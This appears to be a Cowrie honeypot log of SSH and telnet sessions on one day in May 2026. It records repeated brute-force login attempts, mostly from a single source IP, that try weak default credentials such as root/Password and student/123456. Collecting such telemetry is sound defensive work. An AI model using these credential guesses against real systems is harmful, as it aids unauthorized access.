{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:10.035831Z","src_ip":"45.156.87.254","session":"fed2a75475cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:10.437109Z","src_ip":"45.156.87.254","session":"fed2a75475cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:11.527771Z","src_ip":"45.156.87.254","session":"fed2a75475cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38128,"dst_ip":"159.203.135.109","dst_port":22,"session":"0786533c19fd","protocol":"ssh","message":"New connection: 45.156.87.254:38128 (159.203.135.109:22) [session: 0786533c19fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:15.299180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:15.326713Z","src_ip":"45.156.87.254","session":"0786533c19fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:15.395483Z","src_ip":"45.156.87.254","session":"0786533c19fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:15.731781Z","src_ip":"45.156.87.254","session":"0786533c19fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:16.817285Z","src_ip":"45.156.87.254","session":"0786533c19fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47800,"dst_ip":"159.203.135.109","dst_port":22,"session":"68847091d869","protocol":"ssh","message":"New connection: 45.156.87.254:47800 (159.203.135.109:22) [session: 68847091d869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:20.780719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:20.786494Z","src_ip":"45.156.87.254","session":"68847091d869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:20.877980Z","src_ip":"45.156.87.254","session":"68847091d869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:21.131439Z","src_ip":"45.156.87.254","session":"68847091d869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:22.234125Z","src_ip":"45.156.87.254","session":"68847091d869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47816,"dst_ip":"159.203.135.109","dst_port":22,"session":"a839d9201a57","protocol":"ssh","message":"New connection: 45.156.87.254:47816 (159.203.135.109:22) [session: a839d9201a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:25.888983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:25.894797Z","src_ip":"45.156.87.254","session":"a839d9201a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:25.984961Z","src_ip":"45.156.87.254","session":"a839d9201a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:26.526571Z","src_ip":"45.156.87.254","session":"a839d9201a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.01749849319458,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:27.420034Z","src_ip":"20.123.41.163","session":"792e9b7ad697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:27.613911Z","src_ip":"45.156.87.254","session":"a839d9201a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59966,"dst_ip":"159.203.135.109","dst_port":22,"session":"741d67adcc78","protocol":"ssh","message":"New connection: 45.156.87.254:59966 (159.203.135.109:22) [session: 741d67adcc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:31.141686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:31.147367Z","src_ip":"45.156.87.254","session":"741d67adcc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:31.233964Z","src_ip":"45.156.87.254","session":"741d67adcc78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:31.503367Z","src_ip":"45.156.87.254","session":"741d67adcc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:32.593580Z","src_ip":"45.156.87.254","session":"741d67adcc78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58584,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2de2013815","protocol":"telnet","message":"New connection: 104.245.105.2:58584 (10.17.0.5:23) [session: 4e2de2013815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:34.644371Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59984,"dst_ip":"159.203.135.109","dst_port":22,"session":"282ee08c62fe","protocol":"ssh","message":"New connection: 45.156.87.254:59984 (159.203.135.109:22) [session: 282ee08c62fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:36.728712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:36.733715Z","src_ip":"45.156.87.254","session":"282ee08c62fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:36.826478Z","src_ip":"45.156.87.254","session":"282ee08c62fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:37.084058Z","src_ip":"45.156.87.254","session":"282ee08c62fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:38.170359Z","src_ip":"45.156.87.254","session":"282ee08c62fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"49a30dbaf444","protocol":"telnet","message":"New connection: 104.245.105.2:34932 (10.17.0.5:23) [session: 49a30dbaf444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:41.808742Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"07fc9bd6480d","protocol":"ssh","message":"New connection: 45.156.87.254:42788 (159.203.135.109:22) [session: 07fc9bd6480d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:42.011001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:42.016045Z","src_ip":"45.156.87.254","session":"07fc9bd6480d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:42.109961Z","src_ip":"45.156.87.254","session":"07fc9bd6480d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:42.557608Z","src_ip":"45.156.87.254","session":"07fc9bd6480d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"d43531f3ac8c","protocol":"telnet","message":"New connection: 20.123.41.163:45384 (10.17.0.5:23) [session: d43531f3ac8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:42.640410Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:43.646988Z","src_ip":"45.156.87.254","session":"07fc9bd6480d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42800,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b4827796b9","protocol":"ssh","message":"New connection: 45.156.87.254:42800 (159.203.135.109:22) [session: 42b4827796b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:47.189773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:47.197330Z","src_ip":"45.156.87.254","session":"42b4827796b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:47.286202Z","src_ip":"45.156.87.254","session":"42b4827796b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:47.810128Z","src_ip":"45.156.87.254","session":"42b4827796b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34940,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c0e986d9ec5","protocol":"telnet","message":"New connection: 104.245.105.2:34940 (10.17.0.5:23) [session: 5c0e986d9ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:48.138284Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:48.906103Z","src_ip":"45.156.87.254","session":"42b4827796b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45398,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c20975c195","protocol":"telnet","message":"New connection: 20.123.41.163:45398 (10.17.0.5:23) [session: 06c20975c195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:50.058644Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44574,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e2591cc47a","protocol":"ssh","message":"New connection: 45.156.87.254:44574 (159.203.135.109:22) [session: 32e2591cc47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:22:53.125008Z"}
